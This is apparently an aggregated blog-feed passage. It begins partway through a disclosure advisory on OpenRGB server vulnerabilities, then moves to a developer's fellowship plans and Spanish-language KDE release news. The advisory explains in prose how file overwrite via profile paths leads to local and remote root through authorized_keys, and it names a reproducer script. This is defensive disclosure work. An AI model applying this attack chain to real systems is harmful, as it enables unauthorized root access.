In the reproducer tarball we also provide a partial implementation of the OpenRGB server protocol. It can be started via rgb_fake_server.py --send-bad-controller-data. When the real openrgb --server is started while the fake server is running, various forms of corruption will occur in openrgb, ranging from excess memory allocation to memory corruptions which lead to core dumps.

6.2) Lack of Network Byte Order Handling

The serialized data sent by openrgb in network messages is always in host byte order. This seems a strange choice, since OpenRGB is a cross-platform project. It would be impossible to successfully exchange data between two hosts using a different byte order or simply differently sized int types, for example.

The usual approach to this is to send all data in “network byte order”, creating a defined data type representation on the wire.

6.3) Plugin Support Further Expands Attack Surface

OpenRGB supports plugins which can extend its functionality. Luckily plugins cannot be loaded via the network API, instead they seem to be configured via the Qt GUI component only. The UI asks the user to select a binary plugin to “install” into OpenRGB. We are not completely sure what the supposed workflow is for this, since regular users won’t be able to install a plugin this way for a system-wide privileged daemon, for example. If the plan is to run the GUI application as root then this would be even more worrying.

Loading arbitrary binary plugins selected by the user is an invite to e.g. run code downloaded from the Internet without verifying signatures, which would be very unusual and dangerous for a Linux system. A crafted plugin would lead to immediate code execution in the context of the user running the Qt UI.

Once plugins are installed in OpenRGB they can be reached via the network using the PLUGIN_SPECIFIC message. This calls into plugin-specific code and is thus beyond the scope of this review. Depending on what a plugin actually does this could easily open up additional attack vectors, however.

6.4) Vast Range of LED Controllers Expands Attack Surface

The Controllers sub-directory currently contains 189 different classes for device-specific support. The code in these files amounts to about 270,000 lines of code. These device-specific classes partially override virtual functions that are also reachable via the network protocol, creating an incalculable amount of code possibly exposed to the network.

It would be helpful to clearly separate code paths that are only called internally from those which might also be called from the network. Clearly marking possibly untrusted arguments or scrutinizing input data before passing it on to specialized code should be considered. Ideally some redesign would avoid network-related calls into non-core code in the first place.

7) Further Suggestions

7.1) systemd Service Hardening

Currently the systemd service unit runs the OpenRGB server with full root privileges without any hardening options in effect. systemd offers various features to apply sandboxing even to otherwise privileged processes. This would allow to prevent e.g. modification of files outside of expected locations by using the ReadWritePaths= directives and similar settings.

This should only be considered additional hardening for situations when things turn bad; it is not a first line of defense for a network-exposed service.

7.2) Dropping Privileges

For the scenario of the OpenRGB server running as root it could be considered to drop privileges for most of the time to avoid unnecessary exposure. We assume the main reason for having root privileges is the ability to modify LED hardware controls, thus the daemon could by default drop privileges to some openrgb service user and only raise privileges for the few situations when they are actually needed.

Another approach could be to separate the daemon into two programs, one privileged and offering only the hardware-specific API, and another unprivileged, bridging between network clients and the privileged daemon.

7.3) Mutual Authentication

Currently OpenRGB uses an unencrypted and unauthenticated protocol which seems to be intended to operate on real networks. For this scenario it is highly advisable to at least offer the option to introduce mutual authentication e.g. via SSL certificates. This would also allow to introduce encryption. While most of the data transferred by OpenRGB does not look sensitive at first sight, the situation might change in the future.

7.4) Applying Safe Defaults

The openrgb --server instance should not by default attempt to bind to the wildcard address 0.0.0.0 and thus potentially become available to remote parties. Doing this should be an explicit decision by the system administrator via a corresponding configuration entry.

8) Affected OpenRGB Versions

Most of the security issues outlined in this report have likely been present in various forms for a long time in OpenRGB. We verified that all of them can be reproduced in the current OpenRGB release candidates starting from 1.0 rc1, which was released in early 2025. All Linux distributions we looked into already package this or a newer version. On some distributions like Arch, Fedora and Ubuntu, the openrgb binary reports versions like “0.9+”, indicating that a development snapshot is used.

The current stable version of OpenRGB is version 0.9, which was released back in 2023. The long time since the last stable release is probably the reason why many Linux distributions package development snapshots by now.

There is one major difference between the version 0.9 stable release and the release candidate snapshots of OpenRGB: the trivial remote root exploit (issue 5.2) is not possible in version 0.9, because null terminators embedded in the profile path are not copied into the std::string object. The problematic call to std::string::assign() was only added in commit d7ed55b264d, which first appeared in release 1.0rc1.

The systemd service file which suggests to run openrgb --server as root was added to release candidate tag 1.0 rc2 of OpenRGB.

In summary, OpenRGB release candidate tags starting with 1.0rc1 are fully affected by the issues in this report. The stable release 0.9 (and likely older versions) are not affected by trivial remote exploits, because a file extension is always added to the SAVE_PROFILE path. These versions are still affected by local root exploits (based on symlink attacks) and remote Denial-of-Service.

9) Affected Systems

9.1) Linux Distributions

We looked into common Linux distributions and found the following situation:

• Arch Linux packages version 1.0rc3 of OpenRGB and is fully affected by the issues. Arch Linux has no firewall active by default, so it’s pretty easy to end up with a vulnerable system here.
• Fedora Linux provides a package based on version 1.0rc2 of OpenRGB and is thus fully affected by the issues.
• Gentoo Linux currently provides a stable ebuild for version 1.0rc2 of OpenRGB and is thus fully affected, also not protected by a firewall by default.
• openSUSE Tumbleweed ships a version of OpenRGB based on 1.0rc2. This package is fully affected by the issues in this report.
• Ubuntu 26.04 LTS (just recently released) packages version 0.9+, likely based on version 1.0rc1 of OpenRGB. Earlier Ubuntu 24.04 LTS does not ship it. The package does not contain a openrgb system service, but only a systemd user service. If a regular user starts up this service in an unprivileged context then the issues from this report are still exploitable, but naturally limited to the privileges of the victim user. The user’s authorized_keys can be overwritten the same way as for root, making it possible to access the user’s account remotely.

9.2) BSD Distributions

Only FreeBSD provides a package of OpenRGB; it is based on version 0.8 of OpenRGB. The server only binds to localhost in this version, thus there is no remote attack surface by default. Also embedded null terminators in profile names are not copied into the target path, which means only local symlink attacks allow full privilege escalation.

9.3) Other Systems

It is likely that the MacOS and Windows ports of OpenRGB are similarly affected, but we did not look into them.

10) CVE Assignments

Upstream provided no additional input regarding CVE assignments. Therefore we assigned CVEs as follows:

• CVE-2026-59682 (Issue 5.1): Arbitrary File Overwrite (and in extension, deletion via DELETE_PROFILE). In isolation this is a major local and remote Denial-of-Service attack vector. In OpenRGB <= 0.9 only local attackers can overwrite arbitrary files via symlink attacks. In versions > 0.9 also remote attackers can overwrite arbitrary files.
• CVE-2026-59683 (Issue 5.2): Local and remote root exploits by combining issue 5.1) and attacker-controller strings in LED profile data. This is only possible in OpenRGB > 0.9.
• CVE-2026-18794 (Issue 5.3): Cumulative local and remote Denial-of-Service attack surface mostly affecting OpenRGB itself and system memory consumption; possibly offers more complex privilege escalation attack vectors by way of skillful memory corruption. This affects OpenRGB >= 0.9, likely also a range of older versions.

11) Upstream Bugfixes

Initially upstream did not intend to publish bugfixes as a response to this report, although we offered coordinated disclosure. In the course of the communication with upstream and after we reached out to the distros mailing list for pre-disclosure, upstream decided to publish a minimal bugfix release after all. Commit d2dd9dcc7 addresses the worst aspects of the flaws discussed in this report:

• the daemon will only listen on localhost by default, not on potentially remote networks.
• pathnames passed to API endpoints like SAVE_PROFILE are no longer allowed to contain slashes and other special characters, preventing an escape from the set configuration directory.
• hardening directives have been added to the openrgb systemd service.
• a maximum message size is enforced.

This will avoid trivial remote or local root exploits, but it is still missing out on a lot of the other aspects discussed in this report. We don’t recommend running OpenRGB in real networks even with this patch applied.

12) Timeline

13) References

• OpenRGB website
• OpenRGB GitLab project
• openSUSE review bug for OpenRGB
• reproducer tarball for download
• OpenRGB 1.0rc3-hotfix bugfix release

In 2025 I was honored to be selected for the first cohort of Sovereign Tech Fellows, a program by Germany’s Sovereign Tech Agency to improve the resilience of the open source ecosystem by supporting maintainers directly (complementing their existing support for larger FOSS organizations). Back in 2025, I was only working very limited hours – however, this has changed in 2026.

For the second half of 2026, I am working again as a Sovereign Tech Fellow, but this time with significantly increased hours. After finishing my PhD, I do have time now for new tasks (and new jobs!), and the fellowship presents an amazing opportunity to really advance projects that I maintain or am part of. This also has a very nice effect on contributors and bug reporters, as their feedback gets addressed a lot faster. With some luck, this ultimately will help finding new (co)maintainers for projects as well (although in the age of AI, a lot of how open source used to work is much more uncertain, but that is a matter for a different blog post).

The fellowship is time-limited, so I am intending to make the time I currently have count!

So, what’s planned?

I am involved in many projects, but three of them will be getting attention as part of the fellowship. I know I am notoriously slow at blogging, but expect more details on each of them very soon. Here’s an overview:

Freedesktop.org, Specifications and Organization

I maintain the Freedesktop Specifications, which is an area of Freedesktop that has traditionally been a bit chaotic. This “worked” in the past, because Freedesktop was never intended to be a formal standards body, but more a shared space where people could throw a lot of code and ideas over the wall and see what sticks and what people can collaborate on.

While I very much love the spirit of this and want to keep it in some form, we definitely would benefit not just from more formalization and better procedures, but also from better organization of the specifications in general. A lot of conflicts can be avoided by that. I will work on improving procedures, crunching through the (lots!) of pending bug reports and MRs, and to make the specifications site better searchable and accessible (similar to how Mozilla’s MDN presents information, but I am not sure if we will get quite that far). I also intent to add a compatibility matrix for specifications, so if a desktop opts out of any one of them (or does not implement them yet) that fact is documented and authors of applications know what they can expect. This will allow us to move a lot faster and avoid a lot of conflict, because there is no implicit assumption that “everybody will implement everything” anymore (which has never been quite true anyway).

Hopefully, this will ultimately result in a Freedesktop that is both a lot more useful for application authors who want to bring their project to Linux, as well as developers of desktop environments who need to see which specifications are available and which ones are current.

In addition to that, I have also worked on a Freedesktop.org website refresh, which is pretty much done in its first iteration (pending sysadmin action). The aim there is to have a more official website, separate from user-contributed wiki content, that showcases what Freedesktop is and which projects are using it for hosting. Once the new website is live, I will also review every page again, archive dead projects in their own section and reorganize the software and specifications directory. Those sections are severely outdated and are missing recent efforts from the community, while still containing long-dead old projects (remember HAL? ).

AppStream

A lot of extra maintenance work will be (has been!) done on it. This includes things such as JPEG-XL support (blog post soon), sandboxed media processing, support for newer specification additions, better OARS integration (and potentially migrating it to fd.o infrastructure), improvements and API stabilization for libappstream-compose and a lot of bugfixing and resolution of issues found by AI code review.

AppStream was originally designed to parse only trusted data from vetted Linux distribution sources – this is no longer the case in today’s world and in the way Flatpak uses it, so we need to increase resilience of the project.

I am also exploring a project that could vastly improve search accuracy for AppStream. Stay tuned for that.

PackageKit & System Upgrades

Many years ago, people thought we would all migrate to atomic Linux distributions and slowly not need PackageKit anymore. This has not turned out to be the case, and there are still plenty of reasons to use a package-based OS, especially in development environments. At the same time, PackageKit has been basically the same for years, and its older architecture is beginning to show. It being a daemon who’s literal job it is to modify the entire system also makes it one of the most security-sensitive components that a Linux system can have, while simultaneously making it near-impossible to sandbox.

My plan is to create PackageKit 2.0 by building on the great foundation of PackageKit 1.0, but modernizing it. This will include simplifying its code and removing a bunch of features that have no more use in modern desktops, while also adding some features that PackageKit never had but that would be useful to expose to frontends (still no to interactivity an terminal-progress forwarding though!). PK 2.0 will also allow me to solve a few design issues that have been worked around in the past, by replacing them with better solutions. This will be a painful transition, as PackageKit 2.0 will break all interfaces PackageKit has – and those interfaces have been frozen for more than a decade. However, I do fully expect this change to be worth the effort.

In addition to that, I intend to look into the offline-update procedure again and improve it. The current multi-reboot operation comes with downsides, that newer systemd features such as soft-reboot can alleviate. The end result should be a much smoother, less annoying offline-update experience for users (I especially want to get rid of updates running on system startup, which I consider quite bad from a usability perspective). The new behavior is in the early drafting stages and may need direct support from systemd. I will share more about it once I can.

That’s a lot of tasks!

Yes! I will see how far I get. I am moving project-by-project though, to allow me to focus on one project at a time, rather than scattering my attention continuously. Amazingly, this means that the major tasks for AppStream are already almost done, and we are nearing the 1.2.0 release. AppStream got priority, because the new Freedesktop Flatpak runtime will be released soon, and because I want FlatHub/Flatpak to have access to the new AppStream release sooner. Freedesktop and PackageKit are next on the task list.

Either way, a lot of progress is coming – if you have any feedback or want to help out, please don’t hesitate to reach out! All work is happening fully in the open, so you can also chime in on the respective GitHub/GitLab tasks .

You can also expect blog posts about key features or interesting changes, so stay tuned!

Inicio la serie con las nuevas funcionalidades que nos ofrece la Comunidad KDE después de lanzar su conjunto de aplicaciones revisadas y mejoradas. Para empezar nada mejor que con las novedades de Okular de KDE Gear 26.08 edición «Enjoy Shiny Stuff» la aplicación imprescindible para leer casi cualquier documento.

Las novedades de Okular de KDE Gear 26.08, Edición «Enjoy Shiny Stuff»

Okular es el visor de documentos insignia de KDE, utilizado principalmente para leer, firmar (digitalmente o mediante garabato) y anotar PDFs, además de ser un excelente lector de libros electrónicos y cómics que también puede procesar Markdown. En definitiva, uno de las mejores aplicaciones que puedes tener en tu dispositivo electrónico.

En esta nueva versión, se ha mejorado las funciones de firma, logrando que el proceso sea más seguro y fluido. También se han unificado los dos diálogos de configuración (Configurar motores y Configurar Okular) en uno solo, haciendo que todo sea menos confuso.

Pero no acaban aquí las novedades más visibles ya que se han incluido cambios en la selección de texto (ahora, un triple clic selecciona una línea entera) y en las anotaciones ya que ahora Okular incluirá automáticamente cualquier texto resaltado o subrayado en una nota asociada.

Para finalizar se debe destacar que ahora ya puedes copiar y pegar algunas de tus anotaciones (notas y comentarios integrados) dentro del mismo documento o en otro distinto.

Todo ello mientras se prepara el 30 aniversario de un proyecto que según más de uno es el I+D+I de un Software de todo el mundo para todo el mundo.

Y, recuerda, todo este software es gratuito y sin publicidad en todos los sentidos: no te cuesta ni un euro y no se cobra en en forma de datos personales. No obstante, si quieres ayudar a su desarrollo siempre puedes participar en su campaña de recaudación de fondos.

• 
  Las novedades de Okular de KDE Gear 26.08, edición «Enjoy Shiny Stuff»agosto 24, 2026
  Las novedades de Okular de KDE Gear 26.08, edición «Enjoy Shiny Stuff»
• 
  Lanzado KDE Gear 26.08, Edición «Enjoy Shiny Stuff»agosto 20, 2026
  Lanzado KDE Gear 26.04, Edición «KDE a los 30»

La entrada Las novedades de Okular de KDE Gear 26.08, edición «Enjoy Shiny Stuff» se publicó primero en KDE Blog.

Una de las aplicaciones que utilizo de forma recurrente y que creo que se promociona poco es Tellico, un organizador de colecciones de KDE que en realidad es un fabuloso editor bases de datos para usuarios que no dominan este tipo de estructuras. Es por ello que estoy interesado en su desarrollo y me complace anunciar que ha sido lanzado Tellico la 4.2.2 que viene cargado de pequeñas novedades que demuestran el buen estado de desarrollo del producto.

Lanzado Tellico 4.2.2

Desde el lanzamiento de Tellico 4.0 en septiembre de 2024, esta aplicación ha evolucionado principalmente hacia la consolidación de la arquitectura Qt6/KDE Frameworks 6, al tiempo que va mejorando en la automatización de datos y su soporte multiplataforma.

El pasado 21 de agosto fue anunciada su versión más reciente, la 4.2.2, que sigue añadiendo cambios y novedades mostrando el buen estado de esta magnifica aplicación. Veamos en detalle qué cosas se han mejorado:

• Se actualizó para añadir automáticamente la extensión de archivo predeterminada (.tc) al guardar archivos sin extensión.
• Se eliminaron los archivos de imagen con degradado para las plantillas de entrada, en favor de URLs de datos.
• Se añadió una opción para desactivar la validación de ISBN en el editor de entradas (Bug 514622).
• Se mejoró el formato de ISBN para todas las regiones de países (contribución de Alex Oio).
• Se actualizó la validación de ISBN para que se aplique a múltiples valores (Bug 521157).
• Se actualizó UPCItemDb para aceptar múltiples valores de búsqueda.
• Se mejoró el almacenamiento en caché de las imágenes de entrada para la vista de iconos.
• Se mejoró la búsqueda por título para las fuentes arXiv y OpenLibrary.
• Se mejoró la actualización de entradas desde la fuente de iTunes.
• Se añadió importación de texto mediante arrastrar y soltar para RIS.
• Se eliminó la fuente de datos DVDFr, que ya no funciona.

Más información: Tellico

¿Qué es tellico?

Cuando me inicié en el mundo de KDE, uno de los programas que más me llamaron la atención fue Tellico, un excelente gestor de colecciones que te permite personalizar los campos de una forma sencilla, práctica y rápida. Empecé a utilizarlo para organizar mi colección de libros, de cómics, de películas en DVD, etc.

Lamentablemente, mi vida se fue complicando y mi tiempo para organizar cosas desapareciendo, así que perdí de vista al magnífico programa de Robby Stephenson y dejé de utilizarlos. Hace un par de años lo volví a utilizar para llevar el control de miembros de KDE España y de mis alumnos de TFG, con excelentes resultados.

En resumidas cuentas, Tellico es el organizador definitivo de cualquier tipo de colecciones. La aplicación incorpora de serie algunos tipos de colecciones como libros, películas  cómics  juegos, sellos, vinos, etc., eso si, estas colecciones son editables, es decir, tienes la posibilidad de cambiar, borrar o añadir campos.

Más información: Tellico

• 
  Lanzado Tellico 4.2.2
  Me complace anunciar que ha sido lanzado Tellico la 4.2.2 que viene cargado de pequeñas novedades que demuestran el buen estado de desarrollo del producto.
• 
  Reloj inverso para tu escritorio (respecto al hemisferio norte, al menos) con Girosur – Plasmoides para Plasma 6 (38)
  os presento Girosur, un reloj inverso para tu escritorio (respecto al hemisferio norte, al menos) con con el que llegamos al widget número 38 de la serie.
• 
  Llega KStars 3.8.4 con asistente de orientación con IA
  Me complace anunciar que llega KStars 3.8.4 con asistente de orientación con IA

La entrada Lanzado Tellico 4.2.2 se publicó primero en KDE Blog.

El incansable trabajo de promoción que está realizando Nate (ahora con ayuda de otros desarrolladores) en su blog sigue su ritmo. Cada semana hace un resumen de las novedades más destacadas, pero no en forma de telegrama, sino de artículo completo. Su cita semanal no falla y desde hace un tiempo que le voy a siguiendo semana tras semana, traduciendo sus artículos al castellano utilizando los magníficos traductores lo cual hará que la gente que no domine el inglés esté al día y que yo me entere bien de todo. Bienvenidos pues a «Mejoras en la interfaz y en el rendimiento» de «Esta semana en Plasma», donde nos presentan como se está preparando Plasma 6.8 para ser un nuevo hito en el desarrollo de este entorno de trabajo libre.

Mejoras en la interfaz y en el rendimiento – Esta semana en Plasma

Nota: Artículo original en Blogs KDE. Traducción realizada utilizando Perplexity. Esta entrada está llena de novedades de la Comunidad KDE. Mis escasos comentarios sobre las mejoras entre corchetes.

Nuevas mejoras

Plasma 6.8

Cuando usas el sistema en un idioma distinto del inglés, ahora puedes buscar y encontrar páginas de Configuración del sistema usando palabras clave en inglés además de en el idioma actual. (Sergey Katunin, systemsettings MR #418) [Esto está bien para aquellos que usamos el sistema con idioma local y debemos seguir algún tutorial].

Ahora puedes desactivar entradas en la página de Inicio automático de Configuración del sistema sin tener que eliminarlas por completo. (Ramil Nurmanov, plasma-workspace MR #6951)

Mejoras en la interfaz de usuario

Plasma 6.8

Ahora puedes seleccionar en la pantalla de bloqueo qué tipo de autenticación quieres usar cuando hay varios tipos disponibles, y cada uno tiene una interfaz más cuidada. Este es un cambio experimental que acaba de incorporarse y todavía no hay una interfaz gráfica para configurar todos los tipos de autenticación. ¡Estamos trabajando en documentarlo, para empezar! (Harald Sitter, plasma-desktop MR #3689, plasma-workspace MR #6542 y kscreenlocker MR #318)

Ya no puedes establecer la resolución a un valor tan bajo que probablemente rompa tu sistema y te impida recuperarte sin la intervención de un experto. (Xaver Hugl, kwin MR #9765) [Estas medidas de seguridad son muy importantes para llegar al gran público].

Se ha mejorado la alineación de los botones en la pantalla de bloqueo, algo especialmente visible en algunos idiomas. (Ramil Nurmanov, plasma-dsktop MR #3951) [Para mi es casi indistingible, pero supongo que como dice, según algún idioma puede ser molesto].

Discover ahora recuerda qué reseñas has valorado como útiles o inútiles y no te permite enviar nuevas valoraciones para ellas más tarde, porque el servidor de reseñas no lo soporta y devolvería un código de error poco amable si lo intentaras. (Taras Oleksyn, KDE Bugzilla #521866)

Los paneles con auto-ocultar ahora se ocultan solo 50 milisegundos después de que el puntero los abandone, en lugar de los 500 milisegundos anteriores. Esto los hace sentir mucho más responsivos. (Seb Jo, plasma-workspace MR #6885) [Más fluido].

La función de brillo automático ahora se ajusta de forma más inteligente a cualquier cambio manual de brillo que hagas, de modo que el sistema aprende mejor tus preferencias de brillo de pantalla en distintas condiciones de iluminación con el tiempo. (Matt Whitlock, kwin MR #9237) [¿esto es el principio de IA en Plasma?].

Cuando un widget de Volumen de audio se coloca en un panel en modo independiente, su ventana emergente ahora se abre con un tamaño suficiente para mostrar todo su contenido sin necesidad de desplazamiento. (Nate Graham, KDE Bugzilla #522654) [Detalles que mejoran la usabilidad].

Se ha mejorado la forma en que se comunican al usuario los mensajes de error del subsistema de audio al usar la función de prueba del micrófono. (Nate Graham, plasma-pa MR #419)

Se ha implementado el resaltado de ajustes no predeterminados en la página de Escritorio remoto de Configuración del sistema. (Tobias Ozór, krdp MR #232)

Los efectos de retroalimentación del cursor ahora evitan los bordes de la pantalla, de modo que siempre son completamente visibles. (Oliver Beard, KDE Bugzilla #498068) [Esto ya lo hacen algunos elementos como los menús contextuales].

Las notificaciones de KWin sobre reinicios de GPU ahora se activan para todas las GPU, no solo para la principal. (Xaver Hugl, kwin MR #9768)

Se ha mejorado el estilo de Breeze para los menús y bordes de ventana de las aplicaciones GTK 4. (Rocket Aaron, breeze-gtk MR #104)

Corrección de errores importantes

[No comento las correcciones de errores ya que son bastante evidentes].

Plasma 6.6.7

Se han corregido varios problemas relacionados con que Discover no terminaba todos sus procesos al cerrarse, lo que hacía que luego no pudiera iniciarse correctamente. (Aleix Pol Gonzalez, discover MR #1393)

Se han corregido varios problemas relacionados con que Configuración del sistema no cambiaba su vista lateral de subcategorías cuando se esperaba durante distintos modos de interacción menos comunes. (Mradul Pal, systemsettings MR #415)

La descripción emergente del widget Reloj digital ya no permite que textos muy largos se desborden; en su lugar, se expande para dejarles espacio. (Luis Bocanegra, plasma-workspace MR #6950)

El widget de El tiempo ya no muestra botones de información para alertas que no hacen nada al hacer clic; ahora solo aparecen si van a realizar alguna acción. (Nate Graham, KDE Bugzilla #519676)

Plasma 6.7.5

Se han corregido varios casos en los que el proceso en segundo plano «Demonio de KDE» podía bloquearse al leer o escribir en el sistema de almacenamiento de contraseñas del sistema cuando las condiciones de red cambiaban de distintas formas. (Mickaël Thomas, plasma-nm MR #624)

Se ha corregido un problema por el que las miniaturas de ventana del Gestor de tareas podían desaparecer a veces. (Vlad Zahorodnii, plasma-desktop MR #3959)

El widget de Calendario ya no cambia de forma extraña la fecha que muestra al arrastrarlo de una pantalla a otra. (Antti Savolainen, KDE Bugzilla #472360)

Plasma 6.8

Los lectores de pantalla ahora pueden leer todos los elementos de la interfaz de la barra lateral de Actividades. (Nate Graham, KDE Bugzilla #519306)

Usar la opción del portapapeles «Mantener la selección y el portapapeles igual» ya no rompe la capacidad de copiar datos de varias celdas entre hojas de una hoja de cálculo en LibreOffice Calc. (Tomáš Hnyk, KDE Bugzilla #505209)

Cuando una conexión de escritorio remoto se corta inesperadamente, el icono de la bandeja del sistema que te notifica sobre ello ahora desaparece como se espera, en lugar de quedarse hasta que se reinicie el sistema. (Nick Haghiri, krdp MR #234)

Se han corregido dos problemas por los que el widget de Volumen de audio mostraba el icono de panel incorrecto bajo algunas condiciones poco habituales. (Seth Morris, plasma-pa MR #422)

Frameworks 6.30

El diálogo «¿Realmente quieres eliminar este elemento de forma permanente?» para elementos del escritorio ya no aplica codificación de porcentaje a los caracteres especiales en los nombres de archivo, porque se veía feo. (Nate Graham, KDE Bugzilla #522470)

Destacado en rendimiento y aspectos técnicos

Plasma 6.8

El proceso de notificador en segundo plano de Discover ahora usa mucha menos memoria cuando comprueba si hay actualizaciones. (Méven Car, KDE Bugzilla #509180)

Se ha mejorado un poco la velocidad de inicio de Plasma haciendo menos trabajo innecesario al cargar fondos de pantalla. (Nicolas Fella, plasma-workspace MR #6898)

Se ha mejorado aún más la velocidad y eficiencia de la funcionalidad «tomar una captura de pantalla» de KWin. (Zhora Zmeykin, kwin MR #9756)

Se ha mejorado la fluidez de las grabaciones de pantalla hechas en pantallas de alta tasa de refresco. (Fililip, KDE Bugzilla #524129)

La función de prueba del micrófono ahora graba audio a la tasa de muestreo actual del sistema en lugar de forzar una tasa de 44,1 kHz, lo que podría tener repercusiones en otras partes del sistema si estás haciendo producción de audio. (Dan Fi, KDE Bugzilla #523693)

Frameworks 6.30

Se ha mejorado la forma en que se almacenan en caché las imágenes SVG, lo que aumenta ligeramente la velocidad y reduce el uso de memoria de vídeo. (Méven Car, ksvg MR #115)

Cómo puedes ayudar

KDE se ha vuelto importante en el mundo, y tu tiempo y contribuciones han ayudado a llegar hasta aquí. A medida que crecemos, necesitamos tu apoyo para mantener KDE sostenible.

¿Te gustaría ayudar a preparar este informe semanal? Preséntate en la sala de Matrix y únete al equipo.

Más allá de eso, puedes ayudar a KDE involucrándote directamente en cualquier otro proyecto. Donar tiempo es realmente más impactante que donar dinero. Cada colaborador marca una gran diferencia en KDE — ¡no eres un número ni un engranaje en una máquina! No tienes que ser programador, existen muchas otras oportunidades.

También puedes ayudar haciendo una donación. Esto ayuda a cubrir costes operativos, salarios, gastos de viaje para colaboradores y, en general, a mantener KDE llevando Software Libre al mundo.

• 
  Mejoras en la interfaz y en el rendimiento – Esta semana en Plasmaagosto 22, 2026
  «Mejoras en la interfaz y en el rendimiento» de «Esta semana en Plasma», donde nos presentan como se está preparando Plasma 6.8 para ser un nuevo hito en el desarrollo de este entorno de trabajo libre.
• 
  Sincronización bidireccional del portapapeles en RDP – Esta semana en Plasmaagosto 15, 2026
  «Sincronización bidireccional del portapapeles en RDP» de «Esta semana en Plasma», donde nos presentan un gran avance cuando trabajamos en este tipo de configuraciones.
• 
  Numerosas mejoras en la interfaz – Esta semana en Plasmaagosto 8, 2026
  Bienvenidos pues a «Numerosas mejoras en la interfaz» de «Esta semana en Plasma», donde nos presentan justo eso.

La entrada Mejoras en la interfaz y en el rendimiento – Esta semana en Plasma se publicó primero en KDE Blog.